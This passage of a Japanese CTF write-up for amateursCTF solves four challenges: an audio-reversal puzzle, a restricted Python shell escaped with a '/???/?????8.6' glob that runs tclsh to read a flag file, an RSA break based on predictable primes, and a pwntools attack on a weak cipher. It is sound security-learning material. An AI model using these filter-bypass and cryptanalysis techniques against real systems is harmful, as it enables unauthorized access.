    uint16_t format_id;     // フォーマットID (PCM:1)
    uint16_t channel;   // チャネル数 (モノラル:1 ステレオ:2)
    uint32_t fs;        // サンプリング周波数
    uint32_t byte_sec;  // 1秒あたりのバイト数(fs×byte_samp)
    uint16_t byte_samp;     // 1要素のバイト数(channel×(bit/8))
    uint16_t bit;       // 量子化ビット数(8 or 16)
} FormatChunk;

typedef struct {
    char id[4];       // "data"
    uint32_t size; // data領域のサイズ
} DataChunk;

double sampleNum(FormatChunk *f, DataChunk *d) {
    return d->size / (double)f->byte_samp;
}
double waveSeccond(FormatChunk *f, DataChunk *d) {
    return sampleNum(f, d) / f->fs;
}

void printFmt(FormatChunk *f) {
    printf("%s\n", f->id);
    printf("%d\n", f->size);
    printf("%d\n", f->format_id);
    printf("%d\n", f->channel);
    printf("%d\n", f->fs);
    printf("%d\n", f->byte_sec);
    printf("%d\n", f->byte_samp);
    printf("%d\n", f->bit);
}
void printRIFF(RIFFChunk *r) {
    printf("%s\n", r->id);
    printf("%d\n", r->size);
    printf("%s\n", r->form);
}
void printData(DataChunk *d) {
    printf("%s\n", d->id);
    printf("%d\n", d->size);
}

void wavToTxt(char *wave_file, char *txt_file) {
    FILE *fp;
    fp = fopen(wave_file, "rb");
    if (fp == NULL) {
        perror("file not found");
    }
    FILE *txt;
    txt = fopen(txt_file, "w");
    if (txt == NULL) {
        perror("file cant open");
    }

    RIFFChunk riff;
    FormatChunk fmt;
    DataChunk data_chunk;

    fread(&riff, sizeof(RIFFChunk), 1, fp);
    fread(&fmt, sizeof(FormatChunk), 1, fp);
    fread(&data_chunk, sizeof(DataChunk), 1, fp);

    uint16_t *data = (uint16_t *)malloc(data_chunk.size);

    fread(data, data_chunk.size, 1, fp);

    for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) {
        fprintf(txt, "%d\n", data[i]);
    }

    fclose(fp);
    fclose(txt);
    free(data);
}

void txtToWav(char *txt_file, char *wave_file) {
    FILE *wave_txt;
    wave_txt = fopen(txt_file, "r");
    if (wave_txt == NULL) {
        perror("file not found");
    }
    FILE *fp;
    fp = fopen(wave_file, "wb");
    if (fp == NULL) {
        perror("file not found");
    }
    char buf[100];
    uint32_t sample_num = 0;
    while (fgets(buf, 90, wave_txt) != NULL) {
        sample_num++;
    }
    RIFFChunk riff = {
        "RIFF",
        2130296,
        "WAVE"};

    FormatChunk fmt = {
        "fmt ",
        16,
        1,
        1,
        11025,
        22050,
        2,
        16};

    DataChunk data_chunk = {
        "data",
        2130260,
    };

    riff.size = sample_num * (fmt.bit / 8) + sizeof(RIFFChunk) + sizeof(FormatChunk) + sizeof(DataChunk) - 8;
    fmt.byte_samp = fmt.channel * (fmt.bit / 8);
    fmt.byte_sec = fmt.fs * fmt.byte_samp;
    data_chunk.size = sample_num * (fmt.bit / 8);

    // 1/3倍に変更
    fmt.fs = fmt.fs / 3;
    fmt.byte_sec = fmt.fs * fmt.byte_samp;

    fseek(wave_txt, 0, SEEK_SET);
    uint16_t *data = (uint16_t *)malloc(data_chunk.size);
    for (int i = 0; i < sample_num; i++) {
        fgets(buf, 90, wave_txt);
        data[i] = atoi(buf);
    }

    fwrite(&riff, sizeof(RIFFChunk), 1, fp);
    fwrite(&fmt, sizeof(FormatChunk), 1, fp);
    fwrite(&data_chunk, sizeof(DataChunk), 1, fp);
    fwrite(data, data_chunk.size, 1, fp);
    fclose(wave_txt);
    fclose(fp);
    free(data);
}

int main() {
    wavToTxt("laughing.wav", "wave.txt");
    txtToWav("wave.txt", "laughing2.wav");

    RIFFChunk riff;
    FormatChunk fmt;
    DataChunk data_chunk;

    FILE *wave_file;
    wave_file = fopen("laughing.wav", "rb");
    if (wave_file == NULL) {
        perror("file not found");
    }

    fseek(wave_file, 0, SEEK_SET);
    fread(&riff, sizeof(RIFFChunk), 1, wave_file);
    fread(&fmt, sizeof(FormatChunk), 1, wave_file);
    fread(&data_chunk, sizeof(DataChunk), 1, wave_file);
    printFmt(&fmt);

    printf("filesize: %d\n", riff.size);
    printf("channel num: %d\n", fmt.channel);
    printf("sampling freq: %d\n", fmt.fs);
    printf("bit num: %d\n", fmt.bit);
    printf("sample num: %f\n", sampleNum(&fmt, &data_chunk));
    printf("recording time: %f [s]\n", waveSeccond(&fmt, &data_chunk));

    return 0;
}

流用しているので無駄があるが,やっていることは,速度を落としてる.

 // 1/3倍に変更
    fmt.fs = fmt.fs / 3;
    fmt.byte_sec = fmt.fs * fmt.byte_samp;

また速度を落としたものを聞くと,逆再生されているように感じたので,データ部分を逆から読み込んでいる.

 for (int i = (data_chunk.size / 2) - 1; i >= 0; i--) {
        fprintf(txt, "%d\n", data[i]);
    }

出力されたものを聞くと,機械音声で,inverseとtransfomationsをアンダースコアでつなげてフラグラッパーでラップしたものと言っていた.

amateursCTF{inverse_transfomations}

transfomationsの最後のsを聞き取れず死んでいた.

sansomega [jail]

#!/usr/local/bin/python3
import subprocess

BANNED = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz\\"\'`:{}[]'


def shell():
    while True:
        cmd = input('$ ')
        if any(c in BANNED for c in cmd):
            print('Banned characters detected')
            exit(1)

        if len(cmd) >= 20:
            print('Command too long')
            exit(1)

        proc = subprocess.Popen(
            ["/bin/sh", "-c", cmd], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)

        print(proc.stdout.read().decode('utf-8'), end='')

if __name__ == '__main__':
    shell()

Dockerfile

FROM python:3.10 as base

COPY ./shell.py /app/run
COPY ./flag.txt /app/flag.txt

FROM pwn.red/jail:latest

COPY --from=base / /srv
RUN chmod 755 /srv/app/run

ENV JAIL_TIME=300 JAIL_MEM=50M JAIL_PIDS=10 JAIL_DEV=null,zero,urandom,ptmx JAIL_PIDS=60

入力できる文字が限られている.しかし?が使えるので,以下のようなことができる.

/???/???

これにマッチする最初のファイルが実行される.

末尾が数字である対話型のプログラムを探すことにした.

いろいろ探してたらtclsh8.6を見つけた.

/???/?????8.6

とすれば実行できる.

ファイルの読み込みは以下の手順

set file [open "/app/flag.txt" r]
set content [read $file]
puts $content
exit

一連の動作をまとめてやるとフラグがもらえた.

❯ nc chal.amt.rs 2100
$ /???/?????8.6

set file [open "/app/flag.txt" r]
set content [read $file]
puts $content
exit
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}
amateursCTF{pic0_w45n7_g00d_n0ugh_50_i_700k_som3_cr34t1v3_l1b3rt135_ade8820e}

unsuspicious-rsa [crypto]

from Crypto.Util.number import *

def nextPrime(p, n):
    p += (n - p) % n
    p += 1
    iters = 0
    while not isPrime(p):
        p += n
    return p

def factorial(n):
    if n == 0:
        return 1
    return factorial(n-1) * n


flag = bytes_to_long(open('flag.txt', 'rb').read().strip())
p = getPrime(512)
q = nextPrime(p, factorial(90))
N = p * q
e = 65537
c = pow(flag, e, N)
print(N, e, c)

output.txt

172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061 65537 128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241

重要なのはnextPrimeの実装

def nextPrime(p, n):
    p += (n - p) % n
    p += 1

変なことをしている.手元で実験してみよう.

>>> p=2
>>> n=6
>>> p+(n-p)%n
6

p<nの時はp=nとなる.

p>nの時はどうだろうか.

>>> p=7
>>> n=6
>>> p+(n-p)%n
12
>>> p=13
>>> p+(n-p)%n
18
>>> p=25
>>> p+(n-p)%n
30

p=n*(p//n)となっていることがわかる.

この関数を以下のように使っているので,生成される素数は予測可能.

q = nextPrime(p, factorial(90))

factorial(90)は90!

あとは pのだいたいの値がわかればいいがこれはsqrt(n)でいいはず.

あとはsolverを書くだけ.

from Crypto.Util.number import *
import math

def nextPrime(p, n):
    p += (n - p) % n
    p += 1
    iters = 0
    while not isPrime(p):
        p += n
    return p

def factorial(n):
    if n == 0:
        return 1
    return factorial(n-1) * n

N=172391551927761576067659307357620721422739678820495774305873584621252712399496576196263035396006999836369799931266873378023097609967946749267124740589901094349829053978388042817025552765214268699484300142561454883219890142913389461801693414623922253012031301348707811702687094437054617108593289186399175149061
e=65537
c=128185847052386409377183184214572579042527531775256727031562496105460578259228314918798269412725873626743107842431605023962700973103340370786679287012472752872015208333991822872782385473020628386447897357839507808287989016150724816091476582807745318701830009449343823207792128099226593723498556813015444306241

factorial_n=factorial(90)
t=int(math.sqrt(N))//factorial_n
q=factorial_n*t+1
while N%q!=0:
    q+=factorial_n

# print(factorial(90))
print(q)
p=N//q

phi=(p-1)*(q-1)

d=pow(e,-1,phi)

m=pow(c,d,N)

print(long_to_bytes(m))

実行するとフラグがもらえた.

amateursCTF{here's_the_flag_you_requested.}

faked-onion

#!/usr/local/bin/python3

import hmac
from os import urandom


def strxor(a: bytes, b: bytes):
    return bytes([x ^ y for x, y in zip(a, b)])


class Cipher:
    def __init__(self, key: bytes):
        self.key = key
        self.block_size = 16
        self.rounds = 1

    def F(self, x: bytes):
        return hmac.new(self.key, x, "md5").digest()[:15]

    def encrypt(self, plaintext: bytes):
        plaintext = plaintext.ljust(self.block_size, b"\x00")
        ciphertext = b""

        for i in range(0, len(plaintext), self.block_size):
            block = plaintext[i : i + self.block_size]
            for _ in range(self.rounds):
                L, R = block[:-1], block[-1:]
                L, R = R, strxor(L, self.F(R))
                block = L + R
            ciphertext += block

        return ciphertext


key = urandom(16)
cipher = Cipher(key)
flag = open("flag.txt", "rb").read().strip()

print("faked onion")
while True:
    choice = input("1. Encrypt a message\n2. Get encrypted flag\n3. Exit\n> ").strip()

    if choice == "1":
        pt = input("Enter your message in hex: ").strip()
        pt = bytes.fromhex(pt)
        print(cipher.encrypt(pt).hex())
    elif choice == "2":
        print(cipher.encrypt(flag).hex())
    else:
        break

print("Goodbye!")

まずdecrypt関数を作る.これはencryptの逆の手順をする関数を作ればいい.

def decrypt(ciphertext: bytes, hash_table: list):
    block_size = 16
    plaintext = b""
    rounds = 1
    c = 0
    for i in range(0, len(ciphertext), block_size):
        block = ciphertext[i : i + block_size]
        for _ in range(rounds):
            L, R = block[:1], block[1:]
            L, R = strxor(R, hash_table[c]), L
            block = L + R
        plaintext += block
        c += 1
    return plaintext.rstrip(b"\x00")

あとはフラグを暗号化するときの,F(R)の値を特定すればいいのだが,encryptの実装を見るとわかる通り,平文の16バイト目を使って作っている. さらに,その平文の16バイト目は暗号化されずに出力されている.

    def encrypt(self, plaintext: bytes):
        plaintext = plaintext.ljust(self.block_size, b"\x00")
        ciphertext = b""

        for i in range(0, len(plaintext), self.block_size):
            block = plaintext[i : i + self.block_size]
            for _ in range(self.rounds):
                L, R = block[:-1], block[-1:]
                L, R = R, strxor(L, self.F(R))
                block = L + R
            ciphertext += block

        return ciphertext

このことから,フラグを暗号化するときの,F(R)の値は,\x00*15+その16バイト目の値で取得できる.

これをもとにsolverを書く

#!/usr/local/bin/python3

import hmac
from os import urandom
from pwn import *


def strxor(a: bytes, b: bytes):
    return bytes([x ^ y for x, y in zip(a, b)])


def decrypt(ciphertext: bytes, hash_table: list):
    block_size = 16
    plaintext = b""
    rounds = 1
    c = 0
    for i in range(0, len(ciphertext), block_size):
        block = ciphertext[i : i + block_size]
        for _ in range(rounds):
            L, R = block[:1], block[1:]
            L, R = strxor(R, hash_table[c]), L
            block = L + R
        plaintext += block
        c += 1
    return plaintext.rstrip(b"\x00")


io = remote("chal.amt.rs", 1414)
block_size = 16

io.sendlineafter(b"> ", b"2")
flag_crypt = io.readline()[:-1]
flag_crypt_bytes = bytes.fromhex(flag_crypt.decode())
print(flag_crypt)
print(flag_crypt_bytes)
flag_parts = []
for i in range(0, len(flag_crypt_bytes), block_size):
    flag_parts.append(flag_crypt_bytes[i])

print(len(flag_crypt_bytes) / block_size)
print(flag_parts)


hash_table = []
for i in flag_parts:
    payload = b"00" * 15 + hex(i)[2:].ljust(2, "0").encode()
    io.sendlineafter(b"> ", b"1")
    io.sendlineafter(b"Enter your message in hex: ", payload)

    print(payload)

    flag_part_hash = io.readline()[:-1]
    flag_part_hash_bytes = bytes.fromhex(flag_part_hash.decode())
    print(len(flag_part_hash_bytes))
    hash_table.append(flag_part_hash_bytes[1:])

print(hash_table)


flag = decrypt(flag_crypt_bytes, hash_table)

print(flag)

実行するとフラグがもらえた.

amateursCTF{oh_no_my_one_of_a_kind-err_sorry,_f4ked_on10n_cipher_got_ki11ed_730eb1c0}'

おわり

問題数が多くて,面白い問題が多かった.解き切れていないのでおいおい解いていこうと思う.

楽しかった.

hatenablogのwebエディタで書いたらめちゃおもになって,writeup書くの大変だった.

読んでくれてありがとうございました.終わりです.

flag{hello_my_friend}